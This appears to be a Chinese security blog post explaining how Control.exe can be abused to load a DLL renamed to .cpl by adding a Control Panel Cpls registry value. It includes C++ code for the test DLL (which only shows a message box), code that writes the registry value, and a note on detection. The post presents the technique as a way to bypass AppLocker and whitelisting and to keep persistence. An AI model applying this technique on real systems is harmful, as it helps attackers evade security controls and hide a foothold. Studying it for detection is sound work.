白名单-Control的利用

控制面板加载dll

Posted by hmoytx on January 19, 2020

白名单-Control的利用

简介

Control.exe位于system32目录下,也就是控制面板,控制面板中的对应项,都对应了system目录下的对应项的cpl文件。cpl文件本质上是dll文件,但是规范了导出函数为CPlApplet()。该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。
当启动控制面板时,它会搜索Windows或System32或注册表的相应条目目录下的文件,并把以CPL作为扩展名的文件载入,它调用CPL文件的导出函数CPlApplet(),发送消息给该函数。所以,控制面板应用程序要处理控制面板发送过来的消息,即在函数CPlApplet中进行处理,该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序,那么只会有一个CPlApplet函数,它负责所有的控制面板应用程序。
在一定情况下,我们可以通过Control来加载DLL,是一种白加黑的利用思路,也可以用来进行权限维持。我们只需将dll文件更改后缀后放入对应目录下,添加注册表项,就可以在启动控制面板时加载对应的dll,绕过Windows AppLocker的限制规则以及一些应用程序的白名单。

测试

cpl文件的编写按照dll的规范来写,只是将导出函数替换为CPlApplet即可。 (当然测试的话执行cmd可以不用导出函数CPlApplet)

include <windows.h>

extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
    MessageBox(0,"test!Applet","test",MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
            DWORD ul_reason_for_call,
            LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

编译后,有要用Control加载两种选择。

自定义路径

重命名后,自定义路径,我这里以C:\test.cpl为例。
打开注册表,在HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls添加字符串值。
200119_1

HKEY hKey;
DWORD dwDisposition;
char path [] = "C:\\test.cpl”;
RegCreateKeyExA(HKEY_CURRENT_USER,
              "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));

然后然后打开控制面板,就会弹出消息框。

放在system32下

将test.cpl放在system32目录下。
在注册表HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls中新建项目test.cpl,test.cpl中新建DWORD值,名称为RunLevel,值默认为0即可。
200119_2
运行控制面板。
200119_3

问题

这个加载过程中似乎只要有加载别的cpl,都会运行一次这个test.cpl,也就是会弹框好几次,具体原因还要更深入地去了解下控制面板整个启动加载过程。

对应策略

监视cpl文件的加载,监视system目录下的cpl文件。

参考

https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247487706&idx=2&sn=56a5e0bed9df5de3f443d1d05752464d&scene=21#wechat_redi
https://attack.mitre.org/techniques/T1196/